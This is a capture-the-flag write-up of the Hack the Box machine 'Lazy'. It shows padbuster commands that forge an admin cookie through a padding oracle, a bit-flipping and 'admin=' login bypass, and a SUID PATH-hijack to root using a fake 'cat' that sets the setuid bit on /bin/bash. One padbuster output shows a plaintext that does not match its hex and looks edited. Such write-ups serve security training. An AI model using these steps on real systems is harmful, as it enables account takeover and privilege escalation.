HTB: Lazy
Lazy is an old but really good Hack the Box machine.
It’s main challenge is the inspection of a cookie wich leads us to execute attacks that will get us the admin’s cookie.
We can do this with both a Bit Flipper Attack and a Padding Oracle Attack.
There’s also another way to get to admin which is extremely easy that I will also show you.
And lastly for root we will abuse a SUID binary vulnerable to a path hijacking attack.
Recon⌗
Nmap⌗
Nmap finds two open ports:
❯ nmap -p- -sS --min-rate 5000 --open -v -n -Pn 10.129.69.240 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked up and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-19 21:51 -05
Initiating SYN Stealth Scan at 21:51
Scanning 10.129.69.240 [65535 ports]
Discovered open port 22/tcp on 10.129.69.240
Discovered open port 80/tcp on 10.129.69.240
Completed SYN Stealth Scan at 21:52, 20.82s elapsed (65535 total ports)
Nmap scan report for 10.129.69.240
Host is up (0.18s latency).
Not shown: 55458 closed tcp ports (reset), 10075 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 20.99 seconds
Raw packets sent: 102817 (4.524MB) | Rcvd: 62785 (2.511MB)
These are two very commmon ports so let’s inspect them further:
❯ nmap -sCV -p22,80 10.129.69.240 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-19 21:56 -05
Nmap scan report for 10.129.69.240
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 e1:92:1b:48:f8:9b:63:96:d4:e5:7a:40:5f:a4:c8:33 (DSA)
| 2048 af:a0:0f:26:cd:1a:b5:1f:a7:ec:40:94:ef:3c:81:5f (RSA)
| 256 11:a3:2f:25:73:67:af:70:18:56:fe:a2:e3:54:81:e8 (ECDSA)
|_ 256 96:81:9c:f4:b7:bc:1a:73:05:ea:ba:41:35:a4:66:b7 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: CompanyDev
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.19 seconds
We don’t have creds for SSH so let’s take a look to the webserver:
We can register but still it doesn’t seem like we have anything interesting going on here.
Let’s fuzz for routes and PHP files:
❯ wfuzz -c --hc=404 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.129.69.240/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.69.240/FUZZ
Total requests: 220547
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000003: 301 9 L 28 W 314 Ch "images"
000000537: 301 9 L 28 W 311 Ch "css"
000001415: 301 9 L 28 W 315 Ch "classes"
000045227: 200 41 L 77 W 1117 Ch "http://10.129.69.240/"
000095511: 403 10 L 30 W 293 Ch "server-status"
❯ wfuzz -c --hc=404 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.129.69.240/FUZZ.php
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.69.240/FUZZ.php
Total requests: 220547
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000040: 200 58 L 97 W 1548 Ch "login"
000000002: 200 41 L 77 W 1117 Ch "index"
000000052: 200 60 L 95 W 1592 Ch "register"
000000320: 200 7 L 4 W 51 Ch "footer"
000001212: 302 22 L 41 W 734 Ch "logout"
000000178: 200 22 L 41 W 734 Ch "header"
Nothing interesting so let’s move on.
After we register we get assigned a cookie:
It has a unusual looking structure, which leads me to think about a block-encrypted data. Which is far more insecure than a JWT for example.
First method: Padding Oracle Attack⌗
If we intercept a request with Burp and change the cookie we see this:
“Invalid padding” is a very interesting output, since there’s an attack related to block-encrypted data called “Paddle Oracle Attack”.
Which will decrypt our cookie and build a new one for another user, for example, admin.
With padbuster we can exploit this but it will take some time:
❯ padbuster http://10.129.69.240 'LAD9iExwuveRJRxijHcszNjIbiL9zTHA' 8 --cookies 'auth=LAD9iExwuveRJRxijHcszNjIbiL9zTHA'
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 979
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 1133 N/A
2 ** 255 200 15 N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (101/256) [Byte 8]
[+] Success: (36/256) [Byte 7]
[+] Success: (238/256) [Byte 6]
[+] Success: (139/256) [Byte 5]
[+] Success: (1/256) [Byte 4]
[+] Success: (98/256) [Byte 3]
[+] Success: (140/256) [Byte 2]
[+] Success: (175/256) [Byte 1]
Block 1 Results:
[+] Cipher Text (HEX): 91251c628c772ccc
[+] Intermediate Bytes (HEX): 597398fa7111de9a
[+] Plain Text: user=l0g
Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.
*** Starting Block 2 of 2 ***
[+] Success: (53/256) [Byte 8]
[+] Success: (216/256) [Byte 7]
[+] Success: (142/256) [Byte 6]
[+] Success: (114/256) [Byte 5]
[+] Success: (159/256) [Byte 4]
[+] Success: (228/256) [Byte 3]
[+] Success: (177/256) [Byte 2]
[+] Success: (16/256) [Byte 1]
Block 2 Results:
[+] Cipher Text (HEX): d8c86e22fdcd31c0
[+] Intermediate Bytes (HEX): f8481a648a712aca
[+] Plain Text: im
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): user=l0gan
[+] Decrypted value (HEX): 757365723D61646D696D060606060606
[+] Decrypted value (Base64): dXNlcj1hZG1pbQYGBgYGBg==
-------------------------------------------------------
Now we know that the cookie structure is user=name, now we can find the cookie for user=admin:
❯ padbuster http://10.129.69.240 'LAD9iExwuveRJRxijHcszNjIbiL9zTHA' 8 --cookies 'auth=LAD9iExwuveRJRxijHcszNjIbiL9zTHA' -plaintext "user=admin"
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 979
INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 1133 N/A
2 ** 255 200 15 N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (196/256) [Byte 8]
[+] Success: (148/256) [Byte 7]
[+] Success: (92/256) [Byte 6]
[+] Success: (41/256) [Byte 5]
[+] Success: (218/256) [Byte 4]
[+] Success: (136/256) [Byte 3]
[+] Success: (150/256) [Byte 2]
[+] Success: (190/256) [Byte 1]
Block 2 Results:
[+] New Cipher Text (HEX): 23037825d5a1683b
[+] Intermediate Bytes (HEX): 4a6d7e23d3a76e3d
[+] Success: (1/256) [Byte 8]
[+] Success: (36/256) [Byte 7]
[+] Success: (180/256) [Byte 6]
[+] Success: (17/256) [Byte 5]
[+] Success: (146/256) [Byte 4]
[+] Success: (50/256) [Byte 3]
[+] Success: (132/256) [Byte 2]
[+] Success: (135/256) [Byte 1]
Block 1 Results:
[+] New Cipher Text (HEX): 0408ad19d62eba93
[+] Intermediate Bytes (HEX): 717bc86beb4fdefe
-------------------------------------------------------
** Finished ***
[+] Encrypted value is: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
-------------------------------------------------------
Let’s use this cookie and get access as the admin:
Second method: Bit Flipper Attack⌗
This attack consists on creating a very similar user to the one we want to hijack, and make subtle changes to the encrypted data until we get to the valid result.
We can exploit this with Burp. I will create a new user called bdmin, intercept a request with Burp and send it to the Intruder:
Now set this configuration:
This way we are setting the Bit Flipper Attack and adding a new column that fetchs for the string that outputs our current user, so when we get to the admin’s cookie this will say admin instead of bdmin.
Let’s execute the attack and see it:
Eventually we will get to the admin’s cookie:
Third method: admin=⌗
For some reason this website is so poorly built that if we register a user admin= it will ignore the symbol = and we are going to be logged in as admin:
Once we’re logged in as admin we are able to see an id_rsa:
In the URL we see the user’s name: mitsos, so let’s connect with SSH.
Now we can see the user.txt:
mitsos@LazyClown:~$ ls
backup cat peda user.txt
mitsos@LazyClown:~$ cat user.txt
fee28907eb86bbe*****************
Privilege escalation⌗
Path hijacking⌗
We also see a binary backup in our directory which has SUID privilege:
mitsos@LazyClown:~$ ls -l backup
-rwsrwsr-x 1 root root 7303 May 3 2017 backup
With ltrace we can debug this binary:
mitsos@LazyClown:~$ ltrace ./backup
__libc_start_main(0x804841d, 1, 0xbffffce4, 0x8048440 <unfinished ...>
system("cat /etc/shadow"cat: /etc/shadow: Permission denied
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
It looks like we are just using cat with the /etc/shadow, but this is far more interesting for us, the cat command is not being called on its absolute path.
This makes it vulnerable to path hijacking, which means that if we create a file cat with a command that changes the bash permissions and we also change the PATH it will take our cat instead of the one inside /bin:
mitsos@LazyClown:/tmp$ echo 'chmod u+s /bin/bash' > cat
mitsos@LazyClown:/tmp$ export PATH=.:$PATH
As the binary has SUID privilege root will execute this command:
mitsos@LazyClown:/tmp$ /home/mitsos/backup
mitsos@LazyClown:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 986672 Oct 7 2014 /bin/bash
Now we can launch a bash as root and get the root.txt:
mitsos@LazyClown:/tmp$ bash -p
bash-4.3# whoami
root
bash-4.3# /bin/cat /root/root.txt
df804ae62d8b1e6*****************
See you next time!